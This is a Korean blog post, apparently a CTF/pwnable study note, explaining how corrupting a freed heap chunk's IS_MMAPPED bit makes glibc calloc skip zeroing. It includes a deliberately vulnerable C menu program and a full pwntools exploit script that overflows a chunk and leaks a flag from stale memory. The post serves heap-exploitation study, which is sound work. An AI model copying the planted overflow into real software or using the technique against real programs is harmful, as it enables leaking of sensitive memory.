calloc 이란?
calloc은 malloc과 같이 동적으로 메모리를 할당하는 함수이다.
calloc은 할당과 동시에 메모리를 초기화 해서 기존에 남이있던 데이터의 재사용을 방지한다.
void *calloc(size_t nmemb, size_t size);
calloc함수는 다음과 같고 첫 번째 인자는 할당할 크기, 두 번째 인자는 자료형의 크기다.
그래서 총 크기는 nmemb * size 가 된다.
calloc의 특징
- calloc으로 할당한 힙을 해제하면 tcache_entry에 추가되긴 하지만 다시 calloc 함수를 통해 할당 요청을 하면 tcache_entry를 참조하지 않는다.
즉, tcache에 들어가기는 하지만 tcache에서 가져오지는 않는다.
breaking calloc
calloc 함수를 호출하면 라이브러리의 내부에서 __libc_calloc 함수를 호출한다.
__libc_calloc 함수 내부에서는 _int_malloc 함수로 동적 할당을 하고 할당된 메모리를 memset 함수를 통해 초기화 한다.
calloc 함수에서 힙 청크의 size에 IS_MMAPPED 비트가 설정되어 있다면 memset 함수를 호출하지 않는다.
즉 heap overflow 혹은 oob를 통해 free된 chunk의 size에 IS_MMAPPED bit 를 set하고 해당 chunk를 재할당하면 memset 없이 할당되어있을 것이다.
예제
// gcc -o calloc2 calloc2.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
char flag_buf[30];
void read_flag() {
FILE *fp;
fp = fopen("./flag","r");
fread(flag_buf,1, sizeof(flag_buf)-1, fp);
fclose(fp);
}
int main()
{
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
char *ptr[20] = {0,};
long long idx = 0;
size_t size = 0;
long long index = 0;
int i = 0;
read_flag();
while(1) {
printf("1. Add\n");
printf("2. Free\n");
printf("3. Edit\n");
printf("4. Show\n");
printf(">");
scanf("%d",&idx);
switch(idx) {
case 1:
if( i >= 20 ) {
break;
}
printf("Size: ");
scanf("%llu",&size);
ptr[i] = calloc(size,sizeof(char));
i++;
break;
case 2:
printf("Index: ");
scanf("%lld",&index);
memcpy(ptr[index],flag_buf, strlen(flag_buf));
free(ptr[index]);
ptr[index] = 0;
break;
case 3:
printf("Index: ");
scanf("%llu", &index);
if( index >= 20 ) {
break;
}
read(0, ptr[index], 30);
break;
case 4:
printf("Index: ");
scanf("%llu", &index);
if( index >= 20 ) {
break;
}
printf("ptr: %s\n",ptr[index]);
break;
default:
return 0;
}
}
return 0;
}
간단한 코드다.
익스플로잇 시나리오
1. free할때 tcache에 들어가면 안되니 7개의 chunk를 할당, 해제한다.
2. 8,9,10 번째 chunk를 할당하고 9번째 chunk를 free한다. 그리고 8번째 chunk를 모두 채우고 9번째 chunk로 가서 prev_size를 채우고 size를 채우는데 IS_MMAPPED flag를 set한다. 그리고 할당을 요청하면 9번째 chunk가 재사용되고 memset도 안된다.
3. 그리고 show로 보면 flag를 볼 수 있다.
from pwn import *
p = process("./brcall")
context.log_level = 'debug'
pause()
p.sendlineafter(b">", b'1')
p.sendlineafter(b"Size: ", b'15')
p.sendlineafter(b">", b'1')
p.sendlineafter(b"Size: ", b'15')
p.sendlineafter(b">", b'1')
p.sendlineafter(b"Size: ", b'15')
p.sendlineafter(b">", b'1')
p.sendlineafter(b"Size: ", b'15')
p.sendlineafter(b">", b'1')
p.sendlineafter(b"Size: ", b'15')
p.sendlineafter(b">", b'1')
p.sendlineafter(b"Size: ", b'15')
p.sendlineafter(b">", b'1')
p.sendlineafter(b"Size: ", b'15')
p.sendlineafter(b">", b'2')
p.sendlineafter(b"Index: ", b'0')
p.sendlineafter(b">", b'2')
p.sendlineafter(b"Index: ", b'1')
p.sendlineafter(b">", b'2')
p.sendlineafter(b"Index: ", b'2')
p.sendlineafter(b">", b'2')
p.sendlineafter(b"Index: ", b'3')
p.sendlineafter(b">", b'2')
p.sendlineafter(b"Index: ", b'4')
p.sendlineafter(b">", b'2')
p.sendlineafter(b"Index: ", b'5')
p.sendlineafter(b">", b'2')
p.sendlineafter(b"Index: ", b'6')
# tcache 채우기
p.sendlineafter(b">", b'1')
p.sendlineafter(b"Size: ", b'15')
p.sendlineafter(b">", b'1')
p.sendlineafter(b"Size: ", b'15')
p.sendlineafter(b">", b'1')
p.sendlineafter(b"Size: ", b'15')
p.sendlineafter(b">", b'2')
p.sendlineafter(b"Index: ", b'8')
p.sendlineafter(b">", b'3')
p.sendlineafter(b"Index: ", b'7')
ex = b'a'*0x10
ex += b'\x00'*0x8
ex += p32(0x22)
p.send(ex)
pause()
p.sendlineafter(b">", b'1')
p.sendlineafter(b"Size: ", b'15')
pause()
p.sendlineafter(b">", b'3')
p.sendlineafter(b"Index: ", b'10')
p.sendline("ppppppp")
p.sendlineafter(b">", b'4')
p.sendlineafter(b"Index: ", b'10')
p.interactive()
<틀린 부분이 있다면 비난과 욕설을 해주세요>
'포너블 > Heap' 카테고리의 다른 글
Tcache memory leak (0) | 2024.12.10 |
---|---|
Tcache House of Spirit (0) | 2024.12.10 |
__malloc_hook overwrite (0) | 2024.04.29 |
Heap Feng Shui (0) | 2024.04.29 |
Tcache dup & poisoning (0) | 2023.12.04 |